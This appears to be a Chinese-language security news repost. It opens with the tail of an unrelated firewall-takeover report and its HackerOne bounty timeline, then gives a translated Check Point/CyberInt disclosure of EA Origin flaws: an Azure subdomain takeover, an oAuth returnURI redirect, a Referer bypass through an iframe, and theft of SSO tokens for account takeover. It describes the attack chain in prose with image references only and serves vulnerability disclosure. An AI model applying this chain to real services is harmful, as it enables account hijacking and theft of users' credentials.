07.png登录之后,我就控制了这台防火墙,其中的功能更改也就完全不在话下了。

漏洞上报进程

2019.5.29 通过HackerOne向厂商上报

2019.5.29 HackerOne回复

2019.5.30 厂商对漏洞分类

2019.6.3 收获赏金$1,250

*参考来源:pwnsec,clouds编译,转载请注明来自FreeBuf.COM

一、概述

在过去的几周中,Check Point Research与CyberInt共同确认了一系列漏洞,这些漏洞一旦被攻击者利用,可能会导致全球第二大游戏公司EA Games的数百万玩家帐户被接管。同时,这些漏洞可能还会导致攻击者非法获取用户的信用卡信息,也可能导致攻击者以用户的身份购买游戏。

CyberInt和Check Point在第一时间将这些安全漏洞通知EA Games,同时利用我们的专业能力帮助EA修复这些漏洞,以保护其游戏玩家的利益。

二、关于Origin:EA游戏平台

EA Games拥有超过3亿客户,公司市值目前在50亿美元左右,是全球第二大游戏公司,拥有一系列家庭游戏,例如FIFA、Maden NFL、NBA Live、UFC、The Sims、Battlefield、Command and Conquer、Medal of Honor等。所有这些游戏都依赖于其自行开发的Origin游戏平台,该平台允许用户在计算机和移动设备上购买EA游戏并运行。

除了游戏功能之外,Origin还包含社交功能,例如个人资料管理、与朋友联网聊天或直接加入游戏、与Facebook、Xbox Live、PlayStation Network、Nintendo Network等网络站点的社区集成。

三、漏洞发现过程

与Check Point Research团队之前在另一个非常流行的游戏平台Fornite上发现的漏洞类似,在EA平台上发现的漏洞不需要用户提交任何详细信息。相反,该漏洞利用了EA Games将身份验证令牌与EA Games用户登录过程中内置的oAuth单点登录(SSO)和TRUST机制结合使用的弱点。

我们发现,EA Games大量使用了云平台,该公司在Microsoft Azure托管多个域名,包括ea.com和origin.com,以便为其遍布全球的玩家提供各种服务,例如创建新的游戏帐户、连接进入Origin社交网络、在EA的在线商店中购买更多游戏等。

视频:EA Games漏洞导致帐号泄露和身份信息窃取

https://youtu.be/JMjoi60JpTY

四、技术细节

4.1 eaplayinvite.ea.com子域名劫持

EA Games运营多个域名,包括ea.com和origin.com,以便为其遍布全球的玩家提供各种服务,包括创建新的Apex Legend帐户、连接到Origin社交网络、在EA的在线商店购买新的游戏等。

通常,像EA Games这样依赖于云服务的公司所提供的每项服务,都会在一个唯一的子域名地址上注册,例如eaplayinvite.ea.com,并且具有指向特定云服务商主机的DNS指针(A记录或CNAME记录)。在我们的示例中,ea-invite-reg.azurewebsites.net是一个Web应用程序服务器,会在后台运行所需的服务。

eaplayinvite.ea.com的DNS指针指向CNAME记录,即ea-invite-reg.azurewebsites.net:

1.png

Azure是由Microsoft提供支持的云服务提供商解决方案,允许公司注册新的服务(例如:Web应用程序、REST API、虚拟机、数据库等),以便向全球的在线客户提供这些服务。

每个Azure用户帐户都可以请求注册特定服务名称(服务名称.azurewebsites.net),该名称将在Azure子域名验证过程中验证其CNAME记录,并连接到组织特定的域名或子域名。

然而,根据CyberInt进行的研究,他们发现ea-invite-reg.azurewebsites.net服务在Azure云服务中不再使用,但唯一的子域名eaplayinvite.ea.com仍然使用CNAME配置重定向到该域名。

eaplayinvite.ea.com的CNAME重定向允许我们在自己的Azure帐户中创建新的成功注册请求,并将ea-invite-reg.azurewebsites.net注册为我们新的Web应用程序服务。这样一来,我们基本上就劫持了eaplayinvite.ea.com的子域名,并且能够监控EA合法用户的请求。

将“eaplayinvite.ea.com”的CNAME重定向更改为我们自己的Azure帐户中托管的“ea-invite-reg.azurewebsites.net”:

2.png

如下图所示,在劫持之后的DNS记录状态显示,eaplayinvite.ea.com已经重定向到我们的新Azure云Web服务:

3.png

4.2 oAuth无效重定向导致帐户接管

在控制了eaplayinvite.ea.com子域名之后,我们的团队找到了一个新的目标,即研究如何滥用TRUST机制。TRUST机制存在于ea.com和Origin.com域名及其子域名之间。如果能成功滥用该机制,那么我们就能够操纵oAuth协议的实施方式,并利用该漏洞实现完全的帐户接管。

我们首先需要确定EA Games是如何配置oAuth协议并为其用户提供单点登录(SSO)机制。SSO机制通过唯一的SSO令牌(SSO Token)交换用户凭据(用户名和密码),然后使用该令牌对EA网络的任何平台(例如:accounts.origin.com)进行身份验证,而无需再次输入其凭据。

在分析EA Games的oAuth SSO在几个EA服务(例如:answers.ea.com、help.ea.com、accounts.ea.com)中具体实现的过程中,我们对EA的身份验证流程进行了研究,并掌握了有关目前实施的TURST机制的更多信息。

作为使用EA全局服务通过answers.ea.com成功进行身份验证过程的一部分,oAuth HTTP请求将发送到accounts.ea.com以获取新的用户SSO令牌,然后应用程序应通过signin.ea.com将其重定向到名为answers.ea.com的最终EA服务以识别用户。

使用answers.ea.com进行身份验证的oAuth SSO请求:

4.png

oAuth身份验证SSO令牌通过signin.ea.com重定向到EA的answers.ea.com服务器:

5.png

但是,我们发现,实际上可以通过修改被我们劫持的EA子域名eaplayinvite.ea.com的HTTP请求中的returnURI参数,来确定生成oAuth令牌的EA服务地址。

oAuth请求为eaplayinvite.ea.com生成新的用户令牌:

6.png

服务器生成有效令牌,而不会验证假的EA服务:

7.png

但是,由于EA的服务器端还具有一些限制,所以仅仅生成上述请求,将生成的SSO令牌重定向到我们这边还并不足够。

下面,我们将分析EA引入的限制,并逐一说明我们如何成功绕过这些限制,从而使我们的攻击过程武器化。

五、突破EA最后的防线

5.1 限制1:缺少有效的引用

为了攻陷EA帐户,研究团队需要将上文提到的请求发送到accounts.ea.com,其中也包括修改后的参数,该参数将伪装成受害用户的身份。

但是,accounts.ea.com的后端服务器会通过检查HTTP Referer头部的方式来验证请求是否最初是来自受信任的Origin域名。

8.png

为了突破此限制,我们需要以受害用户的身份,从EA受信任的域名或子域名发出请求。因此,我们将新的iframe编码到被我们劫持的子域名的索引页面上,以便从iframe启动请求,并绕过服务器验证。

eaplayinvite.ea.com恶意索引页面:

9.png

攻击者在eaplayinvite.ea.com上生成iframe以绕过HTTP Referer验证:

10.png

5.2 限制2:请求来源问题

在我们向signin.ea.com发送请求以完成恶意身份验证过程,并将受害者的令牌发送到eaplayinvite.ea.com上的被劫持子域名后,会生成一个新的jQuery函数,并返回至客户端以重定向令牌。

11.jpg

但是,由于目标服务器(eaplayinvite.ea.com)不是当前Origin(signin.ea.com)的组成部分,因此jQuery $.postMessage函数此时将无法执行。因此,该函数将向浏览器控制台发送错误,并停止向我们发送令牌。

12.png

为了解决这个问题,我们必须要在signin.ea.com上寻找一个新的令牌重定向的方式,因为jQuery函数阻止它们将受害用户的令牌作为恶意流量的一部分传输出去。

经过多次尝试,我们终于捕获了一个包含redirectback参数的signin.ea.com的不同请求。该参数将指示服务器使用returnuri值,并直接将页面重定向到该页面,而不将受害者的访问令牌附加到其上。

发送redirectback参数,以绕过jQuery来源问题:

13.png

服务器通过简单的重定向到目标服务器来进行响应:

14.png

此时,我们设法将经过身份验证的EA玩家重定向到我们的服务器。我们在访问oAuth SSO身份验证的iframe之后就可以执行此项操作,所以也就能够在我们的服务器中记录传入的请求。

15.jpg

由于使用我们的恶意iframe通过severaloAuth SSO URL对玩家进行了重定向,所以现在令牌就会被发送到HTTP Referer标头中体现的服务器上。signin.ea.com上最后一次重定向使用window.location JavaScript函数将玩家重定向到我们的服务器。它包含玩家的SSO令牌,并允许我们对其进行控制。

记录传入的Referer值,并搜索受害用户的Access-Token:

16.png

使用受害用户oAuth SSO令牌登录攻击者的PC:

17.png